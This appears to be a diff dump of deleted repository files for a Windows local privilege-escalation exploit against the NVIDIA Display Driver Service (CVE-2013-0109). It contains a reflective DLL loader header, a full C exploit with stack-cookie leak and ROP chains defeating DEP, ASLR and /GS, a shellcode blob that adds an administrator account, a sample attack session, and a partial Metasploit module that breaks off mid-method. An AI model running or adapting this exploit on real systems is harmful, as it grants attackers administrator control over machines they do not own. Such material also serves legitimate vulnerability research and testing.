typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -1,537 +0,0 @@
/*
NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
- Bypass DEP + ASLR + /GS + CoE
=============================================================
(@peterwintrsmith)
** Initial release 25/12/12
** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks
@seanderegge!
Hey all!
Here is an interesting exploit for a stack buffer overflow in the NVidia
Display Driver Service. The service listens on a named pipe (\pipe\nsvr)
which has a NULL DACL configured, which should mean that any logged on user
or remote user in a domain context (Windows firewall/file sharing
permitting) should be able to exploit this vulnerability.
The buffer overflow occurs as a result of a bad memmove operation, with the
stack layout effectively looking like this:
[locals]
[received-data]
[response-buf]
[stack cookie]
[return address]
[arg space]
[etc]
The memmove copies data from the received-data buffer into the response-buf
buffer, unchecked. It is possible to control the offset from which the copy
starts in the received-data buffer by embedding a variable length string -
which forms part of the protocol message being crafted - as well as the
number of bytes copied into the response buffer.
The amount of data sent back over the named pipe is related to the number
of bytes copied rather than the maximum number of bytes that the buffer is
able to safely contain, so it is possible to leak stack data by copying
from the end of the received-data buffer, through the response-buf buffer
(which is zeroed first time round, and second time round contains whatever
was in it beforehand), right to the end of the stack frame (including stack
cookie and return address).
As the entire block of data copied is sent back, the stack cookie and
nvvsvc.exe base can be determined using the aforementioned process. The
stack is then trashed, but the function servicing pipe messages won't
return until the final message has been received, so it doesn't matter too
much.
It is then possible to exploit the bug by sending two further packets of
data: One containing the leaked stack cookie and a ROP chain dynamically
generated using offsets from the leaked nvvsvc.exe base (which simply fills
the response-buf buffer when this data is echoed back) and a second packet
which contains enough data to trigger an overwrite if data is copied from
the start of the received-data buffer into the response-buf (including the
data we primed the latter to contain - stack cookie and ROP chain).
Allowing the function to then return leads to execution of our ROP chain,
and our strategically placed Metasploit net user /add shellcode! We get
continuation of execution for free because the process spins up a thread
to handle each new connection, and there are no deadlocks etc.
I've included two ROP chains, one which works against the nvvsvc.exe
running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
from the Dell site, and one which works against the latest version of the
drivers for the same card, from:
http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
http://www.geforce.co.uk/drivers/results/54709
Hope you find this interesting - it's a fun bug to play with!
- Sample Session -
C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Peter
The command completed successfully.
C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
[@peterwintrsmith]
- Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
Action 1 of 9: - CONNECT
Action 2 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 3 of 9: - SERVER => CLIENT
Read 16504 (0x4078) characters from pipe
Action 4 of 9: Building exploit ...
=> Stack cookie 0xe2e2893340d4:
=> nvvsvc.exe base 0x13fb90000:
Action 5 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 6 of 9: - SERVER => CLIENT
Read 16384 (0x4000) characters from pipe
Action 7 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 8 of 9: - SERVER => CLIENT
Read 16896 (0x4200) characters from pipe
Action 9 of 9: - DISCONNECT
C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Peter
r00t
The command completed successfully.
C:\Users\Peter\Desktop\NVDelMe1>
*/
#include <stdio.h>
#include <Windows.h>
#define SCSIZE 2048
char code[SCSIZE] = "PAYLOAD:";
enum EProtocolAction
{
ProtocolAction_Connect = 0,
ProtocolAction_Receive,
ProtocolAction_Send,
ProtocolAction_Disconnect,
ProtocolAction_ReadCookie,
};
typedef struct {
EProtocolAction Action;
PBYTE Buf;
DWORD Length;
} ProtocolMessage;
const int GENERIC_BUF_LENGTH = 0x10000;
#define WriteByte(val) {buf[offs] = val; offs += 1;}
#define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;}
#define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;}
#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
#define BufRemaining() (sizeof(buf) - offs)
DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
{
DWORD dwWritten = 0;
if(WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
return dwWritten;
return 0;
}
DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)
{
DWORD dwRead = 0, dwAvailable = 0;
if(bTimeout)
{
for(DWORD i=0; i < 30; i++)
{
if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL))
goto Cleanup;
if(dwAvailable)
break;
Sleep(100);
}
if(!dwAvailable)
goto Cleanup;
}
if(!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL))
goto Cleanup;
Cleanup:
return dwRead;
}
HANDLE EstablishPipeConnection(char *pszPipe)
{
HANDLE hPipe = CreateFileA(
pszPipe,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if(hPipe == INVALID_HANDLE_VALUE)
{
return NULL;
}
return hPipe;
}
BYTE *BuildMalicious_LeakStack()
{
static BYTE buf[0x4020] = {0};
UINT offs = 0;
WriteWord(0x52);
for(UINT i=0; i<0x2000; i++)
WriteWord(0x41);
WriteWord(0);
WriteDword(0);
WriteDword(0x4078);
WriteDword(0x41414141);
WriteDword(0x41414141);
WriteDword(0x41414141);
WriteDword(0x41414141);
WriteDword(0x41414141);
return buf;
}
BYTE *BuildMalicious_FillBuf()
{
static BYTE buf[0x4020] = {0};
UINT offs = 0;
WriteWord(0x52);
WriteWord(0); // string
WriteDword(0);
WriteDword(0x4000);
while(BufRemaining())
WriteDword(0x43434343);
return buf;
}
BYTE *BuildMalicious_OverwriteStack()
{
static BYTE buf[0x4020] = {0};
UINT offs = 0;
WriteWord(0x52);
WriteWord(0); // string
WriteDword(0);
WriteDword(0x4340); // enough to copy shellcode too
while(BufRemaining())
WriteDword(0x42424242);
return buf;
}
extern "C" int run()
{
DWORD dwReturnCode = 1, dwBytesInOut = 0;
HANDLE hPipe = NULL;
static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = {0};
memset(rgReadBuf, 0, sizeof(rgReadBuf));
ProtocolMessage rgConvoMsg[] = {
{ProtocolAction_Connect, NULL, 0},
{ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020},
{ProtocolAction_Receive, {0}, 0x4200},
{ProtocolAction_ReadCookie, {0}, 0},
{ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020},
{ProtocolAction_Receive, {0}, 0x4000},
{ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020},
{ProtocolAction_Receive, {0}, 0x4200},
{ProtocolAction_Disconnect, NULL, 0},
};
DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;
BOOL bTryAgain = FALSE;
char szPipe[256] = {0};
// We could renable remote hosts to target other devices on network?!
//if(stricmp(argv[1], "local") == 0)
strcpy(szPipe, "\\\\.\\pipe\\nvsr");
//else
// sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]);
while(i < dwNumberOfMessages)
{
printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages);
switch(rgConvoMsg[i].Action)
{
case ProtocolAction_Connect:
printf(" - CONNECT\n");
hPipe = EstablishPipeConnection(szPipe);
if(!hPipe)
{
printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError());
goto Cleanup;
}
break;
case ProtocolAction_Disconnect:
printf(" - DISCONNECT\n");
CloseHandle(hPipe);
hPipe = NULL;
break;
case ProtocolAction_Send:
printf(" - CLIENT => SERVER\n");
if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))
{
printf("!! Error writing to pipe\n");
goto Cleanup;
}
printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut);
break;
case ProtocolAction_Receive:
printf("\t - SERVER => CLIENT\n");
if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))
{
printf("!! Error reading from pipe (at least, no data on pipe)\n");
goto Cleanup;
}
printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut);
break;
case ProtocolAction_ReadCookie:
// x64 Metasploit cmd/exec:
// "net user r00t r00t00r! /add & net localgroup administrators /add"
// exitfunc=thread
/*char code[] = ""
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"
"\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"
"\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"
"\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
"\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";*/
printf("Building exploit ...\n");
unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);
printf("\t\t => Stack cookie 0&x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie);
memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8);
unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;
// Perform some limited fingerprinting (my default install version, vs latest at time of testing)
switch(uiRetnAddress & 0xfff)
{
case 0x640: // nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes - md5=3947ad5d03e6abcce037801162fdb90d
{
uiBase = uiRetnAddress - 0x4640;
printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
// Param 1: lpAddress [r11 (near rsp) into rcx]
pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn
pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
pRopChain[2] = 0; // Padding
pRopChain[3] = 0; // ...
pRopChain[4] = 0; // ...
pRopChain[5] = 0; // ...
pRopChain[6] = 0; // ...
pRopChain[7] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
pRopChain[10] = 0; // Padding
pRopChain[11] = 0; // ...
pRopChain[12] = 0; // ...
pRopChain[13] = 0; // ...
pRopChain[14] = 0; // ...
pRopChain[15] = uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn
pRopChain[16] = 0x40; // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
pRopChain[17] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
// Param 4: lpflOldProtect [r9 - already points at writable location]
pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect
pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60: mov rax, [rax]; retn
pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax
pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)
memcpy(pRopChain + 22, code, sizeof(code));
}
break;
case 0x9f1: // nvvsvc.exe - 30 Aug 2012 - 891,240 bytes - md5=43f91595049de14c4b61d1e76436164f
{
uiBase = uiRetnAddress - 0x39f1;
printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
// Param 1: lpAddress [r11 (near rsp) into rcx]
pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36: mov rax, r11; retn
pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
pRopChain[2] = 0; // Padding ...
pRopChain[3] = 0; // ...
pRopChain[4] = 0; // ...
pRopChain[5] = 0; // ...
pRopChain[6] = 0; // ...
pRopChain[7] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
pRopChain[9] = uiBase + 0x55dbf; // nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
pRopChain[10] = 0; // Padding ...
pRopChain[11] = 0; // ...
pRopChain[12] = 0; // ...
pRopChain[13] = 0; // ...
pRopChain[14] = 0; // ...
// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
pRopChain[15] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
pRopChain[16] = 0x40; // PAGE_EXECUTE_READWRITE
pRopChain[17] = uiBase + 0x8b92; // nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
pRopChain[18] = 0; // Padding ...
pRopChain[19] = 0; // ...
pRopChain[20] = 0; // ...
pRopChain[21] = 0; // ...
pRopChain[22] = 0; // ...
// Param 4: lpflOldProtect [r9 - already points at writable location]
pRopChain[23] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect - 0x130
pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax, [rax+130h]; add rsp, 28h; retn
pRopChain[26] = 0; // Padding ...
pRopChain[27] = 0; // ...
pRopChain[28] = 0; // ...
pRopChain[29] = 0; // ...
pRopChain[30] = 0; // ...
pRopChain[31] = uiBase + 0x44ba6; // nvvsvc.exe+0x44ba6: jmp eax
pRopChain[32] = uiBase + 0x77c59; // nvvsvc.exe+0x77c59: jmp esp
memcpy(pRopChain + 33, code, sizeof(code));
}
break;
case 0xa11: // nvvsvc.exe - 01 Dec 2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b
{
uiBase = uiRetnAddress - 0x3a11;
printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
// Param 1: lpAddress [r11 (near rsp) into rcx]
pRopChain[0] = uiBase + 0x15b52; // nvvsvc.exe+0x15b52: mov rax, r11; retn
pRopChain[1] = uiBase + 0x54d4c; // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
pRopChain[2] = 0; // Padding ...
pRopChain[3] = 0; // ...
pRopChain[4] = 0; // ...
pRopChain[5] = 0; // ...
pRopChain[6] = 0; // ...
pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
pRopChain[9] = 0; // Padding ...
// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
pRopChain[10] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
pRopChain[11] = 0x40; // PAGE_EXECUTE_READWRITE
pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
pRopChain[13] = 0; // Padding ...
pRopChain[14] = 0; // ...
pRopChain[15] = 0; // ...
pRopChain[16] = 0; // ...
pRopChain[17] = 0; // ...
// Param 4: lpflOldProtect [r9 - already points at writable location]
pRopChain[18] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
pRopChain[19] = uiBase + 0x91310; // IAT entry &VirtualProtect - 0x128
pRopChain[20] = uiBase + 0x82851; // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn
pRopChain[21] = 0; // Padding ...
pRopChain[22] = 0; // ...
pRopChain[23] = 0; // ...
pRopChain[24] = 0; // ...
pRopChain[25] = 0; // ...
pRopChain[26] = uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax
pRopChain[27] = uiBase + 0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn
memcpy(pRopChain + 28, code, sizeof(code));
}
break;
}
break;
}
i++;
}
dwReturnCode = 0;
Cleanup:
if(hPipe)
CloseHandle(hPipe);
return dwReturnCode;
}

View File

@ -1,32 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 11.00
# Visual C++ Express 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|ARM = Release|ARM
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.Build.0 = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.Build.0 = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,188 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'
require 'msf/core/post/windows/services'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::Services
def initialize(info={})
super(update_info(info, {
'Name' => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',
'Description' => %q{
The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to
interact with the service. It contains a stacked based buffer overflow as a result
of a memmove operation.
N.B. exe is nvvsvc.exe, service is nvsvc and pipe is nsvr!
This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.
It has been tested on Win7 x64 against nvvsvc.exe dated Dec 1 2012.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Peter Wintersmith', # Original exploit
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', # Metasploit integration
],
'Arch' => ARCH_X86_64,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Automatic', { } ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2013-0109' ],
[ 'OSVDB', '88745' ],
[ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],
],
'DisclosureDate' => 'Dec 25 2012',
'DefaultTarget' => 0
}))
end
def check
vuln_hashes = [ '43f91595049de14c4b61d1e76436164f',
'3947ad5d03e6abcce037801162fdb90d',
'3341d2c91989bc87c3c0baa97c27253b' ]
os = sysinfo["OS"]
if os =~ /windows/i
svc = service_info 'nvsvc'
if svc and svc['Name'] =~ /NVIDIA/i
vprint_good("Found service '#{svc['Name']}'")
begin
unless is_running?
print_error("Service is not running!")
else
print_good("Service is running")
end
rescue RuntimeError => e
print_error("Unable to retrieve service status")
end
if sysinfo['Architecture'] =~ /WOW64/i
# Unable to check the file in System32 (Need to add a DisableWOW64FSRedirection option to meterp!)
return Exploit::CheckCode::Detected
else
path = svc['Command'].strip
end
begin
hash = client.fs.file.md5(path).unpack('H*').first
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Error checking file hash: #{e}")
return Exploit::CheckCode::Detected
end
if vuln_hashes.include?(hash)
vprint_good("Hash '#{hash}' is listed as vulnerable")
return Exploit::CheckCode::Vulnerable
else
vprint_status("Hash '#{hash}' is not recorded as vulnerable")
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
end
end
end
def create_proc
windir = expand_path("%windir%")
cmd = "#{windir}\\SysWOW64\\notepad.exe"
return session.sys.process.execute(cmd, nil, {'Hidden' => true }).pid
end
def is_running?
begin
status = service_status('nvsvc')
return (status and status[:state] == 4)
rescue RuntimeError => e
print_error("Unable to retrieve service status")
return false
end
end
def exploit
unless is_running?
print_error("Service not running - attempting to start")
res = service_start('nvsvc')
case res
when 0
print_good("Service started")
when 1
print_status("Service already started")
else
fail_with(Exploit::Failure::Unknown, "Unable to start service")
end
else
print_good("Service is running")
end
dll = ''
offset = nil
file = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-0109", "exploit.dll")
